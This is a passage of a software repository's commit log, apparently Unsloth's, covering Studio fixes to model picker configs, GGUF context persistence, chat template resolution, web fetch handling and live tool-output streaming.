* Fix model picker config loads

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Avoid recursive per-model config migration reads

* Apply the displayed context length when loading a GGUF

* Fix template validation, cached template lookup, and failed load rollback

- Validate chat templates with the loopcontrols extension so templates
  that use break or continue tags pass the picker validator, matching the
  inference renderer that already accepts them.
- Read the default chat template from the newest cache snapshot rather than
  an arbitrary iterdir order, so an older cached revision no longer prefills
  a stale template.
- Capture the runtime per-model config before a load and reapply it when the
  load fails, so a failed switch leaves the active model context, KV cache,
  template, and speculative settings as they were.

* Make chat template view only for safetensors models

Custom chat template overrides are applied at inference only for GGUF
models, which pass the template to llama-server. The safetensors backend
renders with the model built-in template and ignores the override, so
editing it would save a value that never loads. For safetensors the
config page now opens the template as a read-only preview with a note
that editing is not available yet. This can become editable once
inference support for custom safetensors templates lands in main.

* Fix model picker config edge cases

- Restore prior runtime config when a load no-ops for the active model
- Cap the picker validator request body via the protected prefixes
- Keep the GGUF context slider max above the loaded context
- Fetch subfolder chat templates for uncached Hub repos
- Show the compare side config when reopening the picker

* Keep saved GGUF context above the fallback ceiling

* Show the model config in the run settings sidebar

* Fix model config sidebar reset and context slider

- Stack the remember toggle and action buttons in the sidebar
- Reset the config to defaults instead of the loaded values
- Fetch the native context so the slider max is not the loaded value

* Fix model picker config and download regressions

- Run picker chat template routes off the event loop
- Depth and root guard local template directory scans
- Restore download manager flow for uncached hub picks
- Apply per model context length on reload
- Import model picker symbols from the feature barrel

* Fix model picker config and cached download sorting

- Restore load settings when a Hub run is rejected mid load
- Reuse one NumericValueInput instead of a duplicate copy
- Fix double decode of the model name in the template route
- Remove the unused reset-to-loaded settings action
- Fix cached model download sorting

* Fix model picker per-model config edge cases

Honor a saved or typed max seq length above the model's native context so
RoPE extended values are no longer clamped and silently overwritten. Allow
typing past native while the slider keeps native as a soft ceiling.

Guard the fetch success paths in use-model-defaults against an aborted
signal, and refetch when the HF token changes.

Hash the chat template content in the sidebar remount key instead of its
length. Enable reset for a GGUF whose native context is unknown, and floor
the context slider max so it can never fall below the min.

* Fix GGUF context auto-fit and gated model config token

Stop forcing a 32768 context when a GGUF native context is unknown so the backend auto-fits to VRAM again, while still honoring an explicit context edit.

Send the HF token as a query param so gated safetensors models resolve their max position embeddings.

Derive model default state during render to drop the set-state-in-effect calls.

* Fix native GGUF context ceiling and guard picker template reads

Restore the native context store field so the sidebar slider keeps the
full ceiling for drag and drop GGUFs. Limit local chat template reads to
the browse allowlist, skip malformed repo ids, and drop unused model
picker exports.

* Fix model picker lint boundaries

* Fix model picker review findings

Chat template editor never seeded its draft. Radix only calls onOpenChange
from internal events, so the seed in the nextOpen branch was dead and a model
with a saved override opened empty. Saving then cleared the override. Drop the
dead branch, treat draft as an untouched sentinel, and reset it on every close.

Uncached Hub picks could auto load a model after the user left the chat. Main
detached the staged pick on route exit and on chat context change. Carry the
context key on the pending pick and skip the load when it no longer matches.

Also clear configTarget when the picker closes, restore the onUpdated ref so
variant rows stop resubscribing on every parent render, skip the LRU write when
the entry is already most recent, import NumericValueInput relatively, and drop
the unused ModelUpdateAction barrel export.

* Preserve GGUF context on active reload

* Fix model picker per-model config regressions

- Stop reloading the already loaded model on re-pick
- Hide infra models from the chat picker
- Detect vision support on cached GGUF repos
- Honor saved maxSeqLength on auto load
- Restore default chat template for local GGUFs
- Warn on save failure and revert config on cancel
- Refetch picker inventory on open
- Persist read only per model config safely

* Fix stale model auto load

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix model picker numeric input sizing and constraints

Size value inputs to their content so long context lengths are not clipped,
restrict them to numeric characters, and stop the speculative decoding label
from truncating in the sidebar.

* Fix picker CI tests and harden chat template resolution for PR #6647

- tests: point the descender guard at the moved model-selector.tsx path
- tests: exclude the disabled Reload model button from the regenerate locator so .first targets the real Regenerate
- picker/service.py: reject symlinked template/gguf leaves that resolve outside the browse allowlist (HF cache reads unchanged)
- compare mode: resolve each pane's own remembered chat template instead of inheriting the other pane's from the store

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Protect future-schema per-model configs from deletion for PR #6647

savePerModelConfig already refuses to overwrite a stored config whose schema version is newer than this client understands, but deletePerModelConfig did not. Unchecking Remember on an older client therefore silently destroyed a newer client's saved config. Apply the same guard on delete and surface the blocked case through the existing saveFailed toast.

* Protect future-schema per-model configs from quota eviction for PR #6647

The save and delete guards already refuse to touch a stored config whose schema version is newer than this client understands, but the quota-eviction path did not, so a full store on an older client could still evict a newer client's config. Skip future-schema entries when evicting and fail the save if the budget cannot be met without them.

* Fix GGUF context persistence, compare context, and rollback settings for PR #6647

Persist a GGUF context override from the user's intent instead of collapsing it against the loaded context, which reintroduced the context-reset (f4838782cb reverted the native-baseline fix). model-config-page now collapses the saved value against native, and use-chat-model-runtime and chat-adapter retain the requested context on load so re-saving another setting keeps the override; a null request stays null so a VRAM auto-fit never becomes a stored override.

shared-composer: a compare pane with no explicit GGUF context now loads at native (0) like single-view, not the session maxSeqLength that silently shrank the shown context.

use-chat-model-runtime: restore the previous model's KV cache dtype and chat template on a failed-load rollback so it runs as it was, not with backend defaults.

* Preserve native path token when reloading the active model for PR #6647

handleReloadActiveModel rebuilt the selection without the store's activeNativePathToken, so reloading a file-picked GGUF after a settings change validated the display label as a repo/path and failed. Thread the active native token through the reload selection so native-loaded models reopen correctly.

* Make picker template validation resilient and accept HF generation tags for PR #6647

Import Jinja lazily inside validate_chat_template so a backend without the optional jinja2 package (GGUF-only installs) still starts instead of raising ModuleNotFoundError at import time. Register a no-op extension for the Transformers {% generation %} assistant-mask tag so pasting a valid HF chat template validates, matching the renderer, rather than being rejected as an unknown tag.

* Honor remembered compare config and parse processor chat_template.json for PR #6647

* Fix failed-load rollback context and processor template map fallback for PR #6647

* Restore speculative decoding config on failed-switch rollback

When a model switch fails after the previous model was unloaded, the
rollback reload restored tensor_parallel, KV cache dtype and the chat
template override, but omitted speculative_type and spec_draft_n_max and
cleared their loaded shadows to null. The previous model therefore came
back running at backend defaults (speculation off) while the UI still
showed it enabled, and the status resync confirmed the off state. Resend
the previous model's speculative settings in the rollback load and keep
the store's active and loaded speculative fields in sync with them.

* Reset max sequence length when a model has no saved config

applyPerModelConfigToRuntime reset every per-model field except
maxSeqLength, which it only wrote when the incoming config had one.
maxSeqLength is the sole field carried on store.params, so selecting a
model with no remembered config left the previous model's value in place
and later loaded the new model at that leaked length. Fall back to the
standing default so an unremembered model loads at its own default.

* Surface a message when a variant update cannot start

startManagedUpdate handled the conflict and error start outcomes but let
busy fall through as if the update began, so the confirm dialog closed
with no job created and the cached variant stayed stale. Show an info
message when the repo is busy with a sibling transfer so the click is
not silently dropped.

* Keep per-model speculative choices out of the global default

A staged load with a per-model or one-off config sets keepSpeculative,
which already skips reading the global speculative preference. The
matching save still ran unconditionally, so the model-specific choice was
written to the global unsloth_chat_speculative_type and a later model with
no saved config started from it instead of Auto. Skip saveSpeculativeType
when keepSpeculative so the per-model choice stays isolated.

* Seed non-active model settings from the app default max length

The Run settings page captured initialMaxSeqLength from the loaded
model's runtime params and fell back to it for a model with no saved
config. Opening settings for a different, unloaded model and clicking
Load then sent the active model's context (for example 64k) instead of
the 4096 default, risking validation failures or OOMs. Seed the default
for non-active models and keep the runtime value only for the active one.

* Prefer sidecar tokenizer chat template over the GGUF copy for variants

_chat_template_from_dir returned the embedded GGUF template first when a
variant was selected, reversing the tokenizer-first precedence of the
no-variant path. A model whose chat_template.jinja or tokenizer_config.json
supersedes a stale embedded template then got the wrong template on
variant selection. Keep tokenizer files first regardless of variant; the
variant only picks which GGUF is the fallback. Adds regression tests for
both the tokenizer-wins and gguf-fallback cases.

* Keep per-model speculative choices load-local in autoload and compare

The interactive load path treats a per-model speculative choice as
load-local and skips writing it to the global default. Autoload and
generalized compare still called saveSpeculativeType unconditionally, so a
remembered off or ngram setting leaked into unsloth_chat_speculative_type
and later models with no saved config inherited it. Persist the global
preference only when the value came from the global settings.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: record the compare pane's loaded context in runtime state so the active model's settings and any reload or save use it, not the previous context

* Studio: notify the user when a Hub autoload can't start because another download for the model is already running, instead of silently dropping it

* Studio: drop the merge's orphaned staged-model store helpers and unused alert imports

The main merge left isPendingGguf and pendingSelectionMatches referencing the
removed PendingModelSelection type, and the alert-dialog/alert imports unused
after the permission-mode dropdown replaced the bypass dialog, so tsc -b failed.

* Studio: cache a null default chat template so the viewer stops re-fetching it

A model with no sidecar or embedded template resolves to a terminal null, but
that result was never cached, so reopening the template viewer re-ran the
backend and Hugging Face lookup every time.

* Studio: detect direct-file GGUFs in run settings so Max Tokens uses their context

A GGUF loaded from a local file or custom folder has no variant label, so the
run-settings panel treated it as non-GGUF and clamped Max Tokens to the session
max_seq_length instead of the loaded GGUF context. Detect it via the reported
GGUF context and the .gguf checkpoint suffix, matching the chat page.

* Studio: prompt to re-select a local model file when its lease expired before reload

A file-picked GGUF is reachable only through a native path token that the
desktop host prunes after a TTL. Reloading reused that token blindly, so a
reload long after the initial load failed with an opaque error. Track the
token's expiry and, when it has passed, ask the user to re-select the file
instead of attempting a doomed reload.

* Fix descender-clipping test to tolerate sidebar layout utilities

The sidebar account-block div carries layout utilities (min-w-0, flex-1)
between 'flex' and 'flex-col', so the descender-clipping guard's regex,
which required 'flex' immediately followed by 'flex-col', no longer matched
and the test failed to locate the account-block div. Generalize the prefix
to allow intervening flex utilities while still capturing the leading-*
class before the collapsible visibility utility and asserting leading-tight,
so the guard against clipped glyph descenders is fully preserved.

* Harden picker chat-template resolution

Enforce the 64 KiB chat-template contract at the validate endpoint's request
model so a direct caller cannot submit a template far larger than the frontend
allows (MaxBodyMiddleware only bounds the whole request body, not this field);
oversized templates now return a clean 422.

Apply sidecar-over-GGUF template precedence globally across cached snapshots
instead of per snapshot. A repo with multiple cached revisions previously
returned the first snapshot's template, so a newer GGUF-only revision could
win over an older revision's maintained chat_template.jinja sidecar, which
contradicted the documented intent that sidecars supersede the embedded copy.

* Guard per-model config against future-schema and lossy migration

Two forward-compatibility gaps in the versioned per-model config store:

- The load/apply path returned and normalized a stored record without checking
  its schema version, so a record written by a newer client was reinterpreted
  under the current schema and applied to a live model load, even though save,
  delete and eviction all refuse to touch future-schema records. Reject
  future-schema records on load too.
- The one-time legacy migration enforced the storage budget without protecting
  the entries it had just migrated and set the completion flag unconditionally.
  When storage was already full of future-schema records (which are unevictable
  by an older client), the migrated entries were the only evictable ones and
  could be dropped while migration was still marked complete. Protect the
  migrated keys during eviction and only mark migration complete when they
  survive, so it retries once space frees up.

* Discard chat-template validation results after the dialog closes

Server-side template validation is async, but closing or cancelling the editor
did not abort it, so a late-arriving valid response still called onSave and
applied a template the user had already dismissed. Track a validation token
that is bumped on close and ignore any validation result whose token is stale.

* Record native lease expiry when loading a picked GGUF from the chip

The pending-native-model chip loaded via stageOrLoad directly, bypassing
loadNativeModelIntent, so activeNativePathExpiresAtMs was never recorded for a
chip-loaded file. A later reload then either skipped the lease-expiry guard
entirely (expiry left null) or compared against a previously loaded file's
stale expiry, so reload could reuse an already-pruned token or wrongly block a
still-valid one. Route the chip through loadNativeModelIntent, which builds the
same selection and records the expiry.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Prefer sidecar template for a directly selected local GGUF file

A direct .gguf file path read its embedded chat template without checking the
parent directory for a maintained sidecar (chat_template.jinja /
tokenizer_config.json), while directory and variant selections already prefer
the sidecar. That let the config editor preview or save a stale embedded
template for the same model depending on how it was selected. Check the parent
directory sidecars first, then fall back to the embedded copy, and cover both
paths with tests.

* Resolve cached chat template per revision, newest first

The earlier change searched every cached snapshot for a sidecar before
considering any snapshot's embedded GGUF template, which let an obsolete sidecar
from an older revision override the newest revision's template. Restore
per-snapshot resolution (newest first): a revision's sidecar still supersedes
its own embedded GGUF copy, but a newer revision is no longer overridden by an
older revision's sidecar.

* Preserve autoload transport conflicts and surface background busy downloads

- When a Hub autoload hits a transport conflict, keep pendingHubAutoLoad bound
  instead of clearing it. Clearing it re-keyed the download surface and its
  cleanup cancelled the conflict the toast tells the user to resolve, so the
  Hub resume affordance was gone the moment it appeared. Return early on
  conflict, mirroring the started branch, so resolving it from the Hub still
  auto-loads on completion.
- The background-download branch handled started and conflict but silently
  dropped a busy outcome, leaving the user with no feedback when a peer variant
  of the same repo was already downloading. Surface the same busy toast the
  autoload path uses.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
2026-07-17 06:08:01 -07:00
Andrew Chen
b508c8fe89
fix(save): unsloth_push_to_hub_gguf(save_method="lora") raises NameError (#7193)
* fix(save): unsloth_push_to_hub_gguf(save_method="lora") raises NameError

unsloth_push_to_hub_gguf reads is_main_process at save.py:3181 but never
declares it. Its twin unsloth_save_pretrained_gguf declares it (2783) and
uses it the same way (2839) -- the LoRA branch was copied between the twins,
the parameter it depends on was not. There is no module-level global, so the
name resolves as a global load and the branch raises NameError 100% of the
time.

save_pretrained_gguf(save_method="lora", push_to_hub=True) raises a
ValueError that tells users to "use .push_to_hub_gguf(save_method='lora')
instead" -- the documented escape hatch is the broken call.

Add is_main_process to the signature, positioned as in the twin, and forward
it to unsloth_save_pretrained_gguf on the merged path so the parameter is not
silently ignored there. Default stays True, so nothing changes for existing
callers.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* fix(save): preserve GGUF push compatibility

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
2026-07-17 11:55:34 +03:00
Nilay
1777aae37e
don't kill live llama-servers when a new Studio instance starts (#7182) 2026-07-16 20:24:05 -03:00
oobabooga
c4e6dd4f6c
Studio: extract text from PDF web results (#7154) 2026-07-16 19:48:12 -03:00
oobabooga
3555dbdda7
Studio: don't drop parallel tool calls after an internal no-op (#7157) 2026-07-16 19:47:22 -03:00
Nilay
8c83478da0
Studio: use one shared Hugging Face token across Settings and training (#7152)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-16 12:24:33 -03:00
Nilay
3be49070cc
fix config cards clipping content at narrow window widths (#7146) 2026-07-16 11:10:30 -03:00
Daniel Han
030f12753c
Fix Inkling reasoning-effort coercion for duck-typed engine stand-ins (#7158)
* Make the Inkling reasoning-effort coercion a module-level helper so duck-typed engine stand-ins keep working

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Align Inkling minimal reasoning effort with the reference implementation (0.1)

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-16 06:23:06 -07:00
Daniel Han
e3674d6aa4
CI: opt tool-calling smoke tests out of the chat tool approval gate (#7162)
The permission-levels feature defaults an unset permission_mode to ask on
streaming requests, so the headless smoke probes hang at the approval
prompt until the job timeout. Declare permission_mode full in the tool
probe bodies; the gate itself is covered by unit tests.
2026-07-16 06:22:54 -07:00
Michael Han
aad11f4ef1
Studio: clickable sidebar settings cog, long name truncation, Canvas menu opt-in (#7171)
* Studio: make sidebar settings cog clickable, opens settings directly

* Studio: truncate long profile names so the settings cog stays visible

* Studio: tighten spacing between profile name and settings cog

* Studio: render settings cog as a sibling button instead of nesting it in the account trigger

* Studio: cap very long names in the welcome greeting

* Studio: hide the Canvas chat menu item by default behind a settings opt-in

* Studio: keep Canvas in the chat menu settings list as the visibility toggle

* Studio: drop the Canvas row description in chat menu settings

* Studio: keep Canvas visible for profiles that pinned it before the visibility flag
2026-07-16 06:01:37 -07:00
Wasim Yousef Said
26faceecf7
Harden desktop release token permissions (#7172)
* Harden desktop release token permissions

* Specify UTF-8 for workflow permission tests
2026-07-16 05:01:48 -07:00
Michael Han
01e9230b5e
Fix DeepSeek reasoning test shim (#7169) 2026-07-16 03:17:06 -07:00
Michael Han
fb7381f5f2
Keep nested dropdown menus on screen (#7168)
* Fix compact chat submenus

* Apply compact submenu layout globally

* Measure compact submenu overlap

* Measure submenu layout width
2026-07-16 03:13:23 -07:00
Michael Han
1b3d728d78
Fix Settings layout overflow (#7167)
* Fix settings dialog overflow

* Fix compact settings overflow

* Add settings overflow regression contracts

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-16 03:12:09 -07:00
Andrew Chen
c2762f7f42
fix(dataprep): smart_chunk_text single-chunk path leaks internal tensor type when eos_token_id is None (#7151)
* fix(dataprep): smart_chunk_text single-chunk path leaks internal tensor type when eos_token_id is None

RawTextDataLoader.smart_chunk_text()'s single-chunk branch only
converts `tokens` to a plain Python list inside the
`if eos_token_id is not None:` guard. When a tokenizer has no
eos_token_id configured, that conversion is skipped entirely and the
function returns whatever internal tensor-like object came out of
the tokenizer normalization step (e.g. a torch.Tensor) as
"input_ids", instead of a list of ints.

The sibling multi-chunk branch a few lines below does the conversion
unconditionally, before checking eos_token_id -- the two branches of
the same method disagree on output type depending purely on whether
the tokenizer has an EOS token. Downstream, create_causal_dataset()
does `labels = [list(ids) for ids in input_ids]`; list()'ing a
tensor produces a list of 0-d tensor elements rather than plain
ints, inconsistent with every multi-chunk sample and liable to break
type inference in Dataset.from_dict()/downstream collation.

Fix: move the list conversion out of the eos_token_id guard,
matching the multi-chunk branch's existing pattern.

Added test_smart_chunk_text_single_chunk_no_eos_returns_plain_list
to tests/test_raw_text.py, confirmed red against unfixed code
(assertion failure: input_ids was a MockTensor, not a list) and
green after the fix. Full tests/test_raw_text.py (both test
functions) passes. ruff check + the repo's ruff-format-with-kwargs
script: clean.

Note: tests/test_raw_text.py does not appear to be wired into any
.github/workflows/*.yml CI job (a pre-existing repo characteristic,
not something introduced by this change) -- verified locally via
`python3 tests/test_raw_text.py`.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Etherl <61019402+Etherll@users.noreply.github.com>
2026-07-16 13:03:38 +03:00
Daniel Han
1cc98b7007
Bump install.sh / install.ps1 pin to unsloth>=2026.7.3 (#7155) 2026-07-15 12:02:29 -07:00
Daniel Han
85b49eeb56
Studio: Inkling support fixes (#7153)
* Studio: Inkling support fixes (context sizing, tool-call healing, reasoning effort, audio icon)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-15 11:22:38 -07:00
Daniel Han
a53aae046d Versioning 2026-07-15 11:20:22 -07:00
Etherl
4cf15938b0
Studio: fix duplicate response model labels and hover (#7049)
* Studio: fix response model badge placement

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: gate response model badge pointer-events behind message hover

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
2026-07-15 10:45:17 -07:00
oobabooga
770f92e250
Studio: reject binary web_search fetches instead of decoding them into replacement chars (#7130)
* Studio: reject binary web_search fetches instead of decoding them into replacement chars

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Match web-fetch MIME subtypes exactly and detect control-char binary

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Sniff binary magic bytes and retry undeclared non-UTF-8 pages as text

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden web fetch binary sniffing

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Simplify web fetch binary guard

* Sniff unknown MIME types and handle Latin-1

* Sniff ambiguous Office MIME and prefixed magic

* Decode BOM-marked Unicode web content

* Studio: require ASCII evidence for declared Latin-1/cp1252 web fetches

Latin-1 and cp1252 decode every byte to a printable character, so a high-byte
binary body declared as iso-8859-1/windows-1252 decoded cleanly and slipped
past the control-character binary check. Apply the existing ASCII-structure gate
to those declared decodes as well. Scoped to the Latin family so legitimate
non-Latin single-byte pages (Cyrillic, Greek) are not rejected.

* Revert "Studio: require ASCII evidence for declared Latin-1/cp1252 web fetches"

This reverts commit c7fbec216c.

* Studio: tighten web-fetch binary guard comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-15 10:43:48 -07:00
Michael Han
c5ae208abb
Compact thinking control in narrow composers (#7150)
* Compact thinking control in narrow composers

* Use UTF-8 in responsive layout tests
2026-07-15 09:58:18 -07:00
Michael Han
c0b16b9df8
Studio: fix permission composer layout and Hub feed icons (#7148)
* Expand composer for permission modes

* Filter default Hub feed by provider logo
2026-07-15 09:31:51 -07:00
Daniel Han
73af334d11
Studio: stream live tool output with SSE heartbeats, fix web page extraction, and surface interrupted turns (#7083)
* Studio: stream live tool output with SSE heartbeats and fix web page extraction

Server-side python/terminal tools now stream incremental stdout to the chat
UI while running (new tool_output SSE event), and every blocking tool
execution emits heartbeat keepalives so reverse proxies (Cloudflare tunnels
cap idle streams at ~100s) cannot drop the connection mid-turn. The tool
loop routes also emit a stall keepalive during silent prompt prefill between
tool iterations. The final role=tool message the model sees is byte-identical
to before, so tool-call parsing, nudging, and healing are untouched.

web_search page fetches now extract main content: GitHub repo root pages are
rewritten to the README API (with HTML fallback), hidden/aria-hidden client
error placeholders are dropped, conversion scopes to article/main, and known
boilerplate fragments are stripped. Non-HTML responses are returned raw
instead of being run through the HTML converter.

The frontend renders live-scrolling tool output inside running python and
terminal cards, and a chat stream that ends without a terminal signal now
surfaces an explicit interrupted state with a Retry action instead of
silently ending the turn.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fix content-type sniffing, unlimited-timeout drain, and env parity in tool streaming

Content-Type sniffing: get_content_type() defaults to text/plain when the
header is absent, so the sniffing fallback never fired and header-less HTML
came back as raw markup. Report an empty type for a missing header and sniff
the body whenever the declared type is not HTML, so mislabeled text/plain
HTML pages are converted like before the extraction change.

Unlimited timeout drain: with tool_call_timeout disabled the old path used
communicate(timeout=None) and waited for EOF, but the streaming drain capped
the post-exit drain at a 5 second join, truncating output from a grandchild
that holds stdout open. When timeout is None, drain until EOF or the cancel
event fires; finite timeouts keep the bounded remaining-budget join.

Env parity: drop the PYTHONUNBUFFERED=1 injection on the streaming path so
the child invocation is byte-identical with and without streaming (the env
var was model-visible via os.getenv). Live streaming granularity now depends
on the child flushing; unflushed output arrives in ~8 KB chunks or at exit
and the final result is unchanged, with SSE heartbeats covering the gaps.

* Studio: stream tool-call arguments while the model writes them

A model writing a large tool call (a full python game is minutes of
generation) produced nothing on the stream: the structured path
accumulated delta.tool_calls fragments silently after the provisional
card, and the text path's DRAINING state consumed everything until
stream end. The user saw a dead Running spinner while the model was in
fact writing code, and the byte-silent SSE segment was also the window
where proxies drop the connection.

New tool_args SSE events stream the arguments as they generate. The
structured path forwards each fragment once a provisional card exists
(backlog first, so the card starts from the top of the call). The text
path sniffs the drained call for an enabled tool name and streams the
raw call text under the id the stream-end parser assigns its first call
(call_0), so the final tool_start reconciles the same card; the sniff is
gated on enabled names plus the provisional size floor, and prose or
ordinary JSON answers never spawn a card. The safetensors loop streams
the drained render_html call to its existing provisional card the same
way.

The chat adapter accumulates the raw stream per card and feeds a partial
JSON parse (call envelopes and stringified arguments unwrapped) into the
part's args, so the python and terminal cards render the code live and
the render_html canvas builds while streaming; both cards now say
Writing code / Writing command during this phase via useToolArgsStatus.
Display only: the parser input, the executed call, and the conversation
the model sees are byte-identical, covered by new loop-level tests for
the structured path, the text path, and the no-tool JSON answer.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep full tool output visible past the model cap; heal /mnt/data habits

Live testing surfaced two issues in the tool streaming UX.

First, a long python stdout ended in '... (truncated' in the finished
card: the model-visible result is capped by tools._truncate
(_MAX_OUTPUT_CHARS, previously 8000 chars) to protect the context
window, and the card rendered that capped text even though the live
stream had already shown everything. The cap stays (raised to 16000,
overridable via UNSLOTH_TOOL_RESULT_MAX_CHARS) but display and model
concerns are now split: the adapter preserves the accumulated live
stream on tool_end whenever it captured more than the final result, and
the finished python/terminal cards prefer it. The live-stream ceiling
rises from 16 KB to 400 KB (chunks batch per poll, so SSE stays cheap),
and both the live pane and the finished card render only the last 2000
lines with a Show all control so a huge output cannot jank the DOM. The
truncation notice now tells the model the user saw the full output and
that written files persist in the working directory. The final result
string remains byte-identical with and without streaming.

Second, models trained on ChatGPT code-interpreter transcripts write to
/mnt/data, which does not exist here (the sandbox CWD is a per-thread
persistent dir). Three layers, all identical across streaming and
non-streaming paths: the python/terminal tool descriptions gain one
sentence saying to use relative paths in the persistent CWD; a failed
execution whose output shows a missing-file error on a known
code-interpreter prefix (/mnt/data, /mnt/outputs, /home/sandbox,
/workspace) gets a model-visible retry hint appended after truncation
so it always survives; and a sitecustomize shim on the sandbox
PYTHONPATH remaps those prefixes onto the CWD in open()/os.makedirs()
with a one-line stderr notice, covering the python tool and any Python
launched from the terminal tool without touching the exec wrapper (so
tracebacks keep their line numbers). Bash-level file operations cannot
be redirected without root or mount namespaces, so they rely on the
description and the hint.

* Studio: fix hidden-element parsing, heartbeat gaps, and tool output id collisions

Review follow-ups on the tool streaming work:

- _html_to_md: treat any present hidden attribute value as hidden (it is an
  enumerated attribute whose invalid value default is the Hidden state, so
  hidden="false" is still hidden), and implement HTML5 optional end tags so
  an unclosed <p hidden> or <li hidden> ends at the next sibling start tag
  instead of swallowing every following sibling until the parent closes
- tool_stream_exec: keep heartbeats flowing after the live-output cap; a
  tool that keeps printing past the cap kept the queue non-empty, so neither
  tool_output nor heartbeat events were emitted and the SSE stream went
  silent past proxy idle timeouts
- routes/inference: forward tool heartbeats before the
  disable_parallel_tool_use drop window swallows events, so a dropped call
  that executes server-side cannot leave the Anthropic stream silent
- llama_cpp: close the provisional text tool card with a tool_end when the
  drained call fails to parse (DRAINING false-positive path), so the card
  cannot spin forever while the text is delivered as content
- tools: decode terminal output as utf-8 with errors=replace like the python
  tool; invalid bytes used to raise UnicodeDecodeError from communicate() on
  the non-streaming path and silently truncate the streaming reader, so the
  two paths diverged
- sitecustomize: patch io.open alongside builtins.open; pathlib Path.open,
  read_text and write_text call io.open directly and bypassed the remap
- frontend: scope the toolLiveOutput/toolFullOutput store keys by pane
  (modelType and pairId) and clear stale entries on tool_start; backend ids
  like call_0 repeat across turns and across concurrently streaming panes
  (compare mode), so a later turn or another pane could display the wrong
  preserved output, and run-end cleanup now clears only its own keys

Each backend fix carries a regression test that fails on the previous code;
the byte-identity tests between streaming and non-streaming stay green.

* Studio: keep tool failure status visible and truncation/remap notices truthful

Finished python/terminal cards preferred the fuller live stream by length
alone, so a tool that printed a lot then timed out or exited non-zero showed
the captured stdout but dropped the final result's status (timeout notice,
Exit code N). preferFullToolOutput now shows the stream when the result is
just its truncated prefix, and appends the result otherwise so the failure
tail always survives and the copy button copies both.

The result truncation notice claimed the user was shown the full output, but
the same wrapper serves non-streaming chat/API and direct execute_tool()
callers where nothing is streamed to anyone. The notice is now mode-neutral
and stays byte-identical with and without an output_callback, keeping the
streaming vs non-streaming invariant intact.

The sandbox sitecustomize shim now remaps /tmp/outputs into the working
directory only while it does not already exist, so a real /tmp/outputs the
user's own code created is never shadowed; /tmp/outputs also joins the
missing-path retry-hint list.

* Studio: suppress hidden void elements and keep live output scroll pinned only when at bottom

* Studio: drop capped tool output without concatenating; remap pathlib mkdir

Past the live-output cap stream_tool_execution built item + _drain_pending()
(the current chunk joined with every queued sibling) only to discard it in the
capped branch, so a chatty tool (yes, a tight print loop) could enqueue far
more than one poll interval of text and blow past the memory/CPU ceiling the
cap exists to enforce. Drain and drop queued items without building a combined
string, still counting each drain toward the heartbeat cadence so the SSE
keepalive survives.

Generated code often prepares code-interpreter paths with
Path('/mnt/data').mkdir(parents=True, exist_ok=True); pathlib drives that
through os.mkdir (not the patched os.makedirs) per component and, on
FileExistsError, probes the unpatched os.stat via Path.is_dir(), so the setup
raised before open() ever ran. Patch os.mkdir with the same remap and patch
Path.mkdir so the whole parents/exist_ok dance lands on the mapped working
directory and stays idempotent; real paths still pass through.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: generalize sandbox write remap and hint to any hallucinated absolute path

Models invent absolute paths from seeing their CWD (a DeepSeek run did
open('/home/ubuntu/Sandbox/flappy_bird.html', 'w') and died with
FileNotFoundError). A prefix list cannot enumerate these, so the sitecustomize
shim gains a write-mode fallback in open()/io.open(): when a write/create-mode
open targets an absolute path outside the CWD whose parent directory does not
exist, redirect it to the basename in the CWD and emit the same one-line stderr
notice, echoing the original path. The prefix remaps still run first (they cover
reads and preserve subpaths); read modes never hit the fallback so real system
files fail or succeed truthfully; bytes paths pass through. The fallback is not
applied to mkdir/makedirs/Path.mkdir, since creating an arbitrary absolute
